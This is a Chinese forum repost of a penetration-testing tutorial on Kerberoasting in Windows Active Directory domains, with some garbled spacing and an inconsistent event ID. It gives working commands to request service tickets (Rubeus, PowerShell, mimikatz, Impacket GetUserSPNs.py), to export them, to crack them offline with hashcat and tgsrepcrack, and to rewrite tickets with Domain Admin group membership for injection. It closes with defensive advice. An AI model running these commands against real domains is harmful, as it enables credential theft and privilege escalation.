搜索

[26983] 2020-05-09_内网渗透（二）域渗透之Kerberoast攻击

文档创建者：s7ckTeam
浏览次数：50
最后更新：2025-01-19
2020-05-09_内网渗透（二）域渗透之Kerberoast攻击 内 网 渗 透 （ 二 ）   |   域 渗 透 之 K e r b e r o a s t 攻 击 M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 5 - 0 9 以 下 文 章 来 源 于 安 全 加   ， 作 者 谢 公 子 K e r b e r o a s t 攻 击 攻 击 k e r b e r o a s t 攻 击 发 生 在 k e r b e r o s 协 议 的 T G S _ R E P 阶 段 ， 关 于 k e r b e r o s 协 议 详 情 ， 传 送 门 ： 内 网 渗 透   |   域 内 认 证 之 K e r b e r o s 协 议 详 解 K e r b e r o a s t 攻 击 过 程 ： 攻 击 过 程 ： 1 . 攻 击 者 对 一 个 域 进 行 身 份 验 证 ， 然 后 从 域 控 制 器 获 得 一 个 T G T 认 购 权 证   ， 该 T G T 认 购 权 证 用 于 以 后 的 S T 服 务 票 据 请 求 。 2 . 攻 击 者 使 用 他 们 的   T G T 认 购 权 证   发 出 S T 服 务 票 据 请 求 ( T G S - R E Q )   获 取 特 定 形 式 （ n a m e / h o s t ） 的   s e r v i c e P r i n c i p a l N a m e   ( S P N ) 。 例 如 ： M S S q l S v c / S Q L . d o m a i n . c o m 。 此 S P N 在 域 中 应 该 是 唯 一 的 ， 并 且 在 用 户 或 计 算 机 帐 户 的 s e r v i c e P r i n c i p a l N a m e   字 段 中 注 册 。 在 服 务 票 证 请 求 ( T G S - R E Q ) 过 程 中 ， 攻 击 者 可 以 指 定 它 们 支 持 的 K e r b e r o s 加 密 类 型 ( R C 4 _ H M A C ， A E S 2 5 6 _ C T S _ H M A C _ S H A 1 _ 9 6 等 等 ) 。 3 . 如 果 攻 击 者 的   T G T   是 有 效 的 ， 则   D C   将 从 T G T 认 购 权 证   中 提 取 信 息 并 填 充 到 S T 服 务 票 据 中 。 然 后 ， 域 控 制 器 查 找 哪 个 帐 户 在   S e r v i c e d P r i n c i p a l N a m e   字 段 中 注 册 了 所 请 求 的   S P N 。 S T 服 务 票 据 使 用 注 册 了 所 要 求 的   S P N   的 帐 户 的 N T L M 哈 希 进 行 加 密 ,   并 使 用 攻 击 者 和 服 务 帐 户 共 同 商 定 的 加 密 算 法 。 S T 服 务 票 据 以 服 务 票 据 回 复 ( T G S - R E P ) 的 形 式 发 送 回 攻 击 者 。 4 . 攻 击 者 从   T G S - R E P   中 提 取 加 密 的 服 务 票 证 。 由 于 服 务 票 证 是 用 链 接 到 请 求   S P N   的 帐 户 的 哈 希 加 密 的 ， 所 以 攻 击 者 可 以 离 线 破 解 这 个 加 密 块 ， 恢 复 帐 户 的 明 文 密 码 。 S P N 服 务 主 体 名 称 的 发 现 服 务 主 体 名 称 的 发 现 传 送 门 ： 域 渗 透 之 S P N 服 务 主 体 名 称 请 求 服 务 票 据 请 求 服 务 票 据 使 用 R u b e u s 请 求 R u b e u s 里 面 的 k e r b e r o a s t 支 持 对 所 有 用 户 或 者 特 定 用 户 执 行 k e r b e r o a s t i n g 操 作 ， 其 原 理 在 于 先 用 L D A P 查 询 于 内 的 s p n ， 再 通 过 发 送 T G S 包 ， 然 后 直 接 打 印 出 能 使 用   h a s h c a t   或   j o h n   爆 破 的 H a s h 。   以 下 的 命 令 会 打 印 出 注 册 于 用 户 下 的 所 有 S P N 的 服 务 票 据 的 h a s h c a t 格 式 。 安 全 加 安 全 加   . 安 世 加   专 注 于 信 息 安 全 业 ， 通 过 互 联 平 台 、 线 下 沙 、 培 训 、 峰 会 、 才 招 聘 等 多 种 形 式 ， 培 养 安 全 才 ， 提 升 业 的 整 体 素 质 ， 助 推 安 全 态 圈 的 健 康 发 展 。 R u b e u s . e x e   k e r b e r o a s t

p o w e r s h e l l 命 令 请 求 请 求 指 定 S P N 的 服 务 票 据 # 请 求 服 务 票 据 A d d - T y p e   - A s s e m b l y N a m e   S y s t e m . I d e n t i t y M o d e l N e w - O b j e c t   S y s t e m . I d e n t i t y M o d e l . T o k e n s . K e r b e r o s R e q u e s t o r S e c u r i t y T o k e n   - A r g u m e n t L i s t   " M y S Q L / w i n 7 . x i e . c o m : 3 3 0 6 / M y S Q L " # 列 出 服 务 票 据 k l i s t
m i m i k a t z 请 求 请 求 指 定 S P N 的 服 务 票 据 I m p a c k e t 中 的 G e t U s e r S P N S . p y 请 求 该 脚 本 可 以 请 求 注 册 于 用 户 下 的 所 有 S P N 的 服 务 票 据 。 使 用 该 脚 本 需 要 提 供 域 账 号 密 码 才 能 查 询 。 该 脚 本 直 接 输 出 h a s h c a t 格 式 的 服 务 票 据 ， 可 用 h a s h c a t 直 接 爆 破 。 # 请 求 服 务 票 据 k e r b e r o s : : a s k   / t a r g e t : M y S Q L / w i n 7 . x i e . c o m : 3 3 0 6   # 列 出 服 务 票 据 k e r b e r o s : : l i s t     # 清 除 所 有 票 据 k e r b e r o s : : p u r g e . / G e t U s e r S P N s . p y   - r e q u e s t   - d c - i p   1 9 2 . 1 6 8 . 1 0 . 1 3 1   x i e . c o m / h a c k
导 出 服 务 票 据 导 出 服 务 票 据 先 查 看 票 据 可 以 使 用 以 下 的 命 令 k l i s t 或 m i m i k a t z . e x e   " k e r b e r o s : : l i s t " M S F 里 面 l o a d   k i w i k e r b e r o s _ t i c k e t _ l i s t 或 l o a d   k i w i k i w i _ c m d   k e r b e r o s : : l i s t
m i m i k a t z 导 出 执 行 完 后 ， 会 在 m i m i k a t z 同 目 录 下 导 出   后 缀 为 k i r b i 的 票 据 文 件 m i m i k a t z . e x e   " k e r b e r o s : : l i s t   / e x p o r t "   " e x i t "
E m p i r e 下 的 I n v o k e - K e r b e r o a s t . p s 1 导 出 H a s h c a t 格 式 的 票 据 I m p o r t - M o d u l e   . I n v o k e - K e r b e r o a s t . p s 1 ; I n v o k e - K e r b e r o a s t   - o u t p u t F o r m a t   H a s h c a t
离 线 破 解 服 务 票 据 离 线 破 解 服 务 票 据 k e r b e r o a s t 中 的 t g s r e p c r a c k . p y t g s c r a c k H a s h c a t 将 导 出 的 h a s h c a t 格 式 的 哈 希 保 存 为 h a s h . t x t 文 件 ， 放 到 h a s h c a t 的 目 录 下 p y t h o n 2   t g s r e p c r a c k . p y   p a s s w o r d . t x t   x x . k i r b i p y t h o n 2   e x t r a c t S e r v i c e T i c k e t P a r t s . p y   1 - 4 0 a 0 0 0 0 0 - h a c k @ M y S Q L ~ w i n 7 . x i e . c o m ~ 3 3 0 6 ~ M y S Q L - X I E . C O M . k i r b i   >   h a s h . t x t g o   r u n   t g s c r a c k . g o   - h a s h f i l e   h a s h . t x t   - w o r d l i s t   p a s s w o r d . t x t h a s h c a t 6 4 . e x e   - m     1 3 1 0 0     h a s h . t x t     p a s s . t x t

服 务 票 据 重 写 服 务 票 据 重 写 & R A M 注 入 注 入 S T 票 据 使 用 服 务 密 码 的 N T L M 哈 希 签 名 。 如 果 票 据 散 列 已 被 破 解 ， 那 么 可 以 使 用 K e r b e r o a s t   p y t h o n 脚 本 重 写 票 据 。 这 将 允 许 在 服 务 被 访 问 时 模 拟 任 何 域 用 户 或 伪 造 账 户 。 此 外 ， 提 权 也 是 可 能 的 ， 因 为 用 户 可 以 被 添 加 到 诸 如 域 管 理 员 的 高 权 限 组 中 。 使 用 以 下 M i m i k a t z 命 令 将 新 票 据 重 新 注 入 内 存 ， 以 便 通 过 K e r b e r o s 协 议 对 目 标 服 务 执 行 身 份 验 证 。 K e r b e r o a s t 攻 击 防 范 攻 击 防 范 确 保 服 务 账 号 密 码 为 强 密 码 ( 长 度 、 随 机 性 、 定 期 修 改 ) 如 果 攻 击 者 无 法 将 默 认 的 A E S 2 5 6 _ H M A C 加 密 方 式 改 为 R C 4 _ H M A C _ M D 5 ， 就 无 法 实 验   t g s r e p c r a c k . p y 来 破 解 密 码 。 攻 击 者 可 以 通 过 嗅 探 的 方 法 抓 取 K e r b e r o s   T G S 票 据 。 因 此 ， 如 果 强 制 实 验 A E S 2 5 6 _ H M A C 方 式 对 K e r b e r o s 票 据 进 行 加 密 ， 那 么 ， 即 使 攻 击 者 获 取 了 K e r b e r o s 票 据 ， 也 无 法 将 其 破 解 ， 从 而 保 证 了 活 动 目 录 的 安 全 性 。 许 多 服 务 账 户 在 内 网 中 被 分 配 了 过 高 的 权 限 ， 且 密 码 强 度 较 差 。 攻 击 者 很 可 能 通 过 破 解 票 据 的 密 码 ， 从 域 用 户 权 限 提 升 到 域 管 理 员 权 限 。 因 此 ， 应 该 对 服 务 账 户 的 权 限 进 行 适 当 的 配 置 ， 并 提 高 密 码 的 强 度 。 在 进 行 日 志 审 计 时 ， 可 以 重 点 关 注 I D 为 4 6 7 9 ( 请 求 K e r b e r o s 服 务 票 据 ) 的 时 间 。 如 果 有 过 多 的   4 7 6 9   日 志 ， 应 进 一 步 检 查 系 统 中 是 否 存 在 恶 意 行 为 。 扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 目 前 目 前 2 5 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们 p y t h o n   k e r b e r o a s t . p y   - p   P a s s w o r d 1 2 3   - r   P E N T E S T L A B _ 0 0 1 . k i r b i   - w   P E N T E S T L A B . k i r b i   - u   5 0 0 p y t h o n   k e r b e r o a s t . p y   - p   P a s s w o r d 1 2 3   - r   P E N T E S T L A B _ 0 0 1 . k i r b i   - w   P E N T E S T L A B . k i r b i   - g   5 1 2 k e r b e r o s : : p t t   P E N T E S T L A B . k i r b i
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理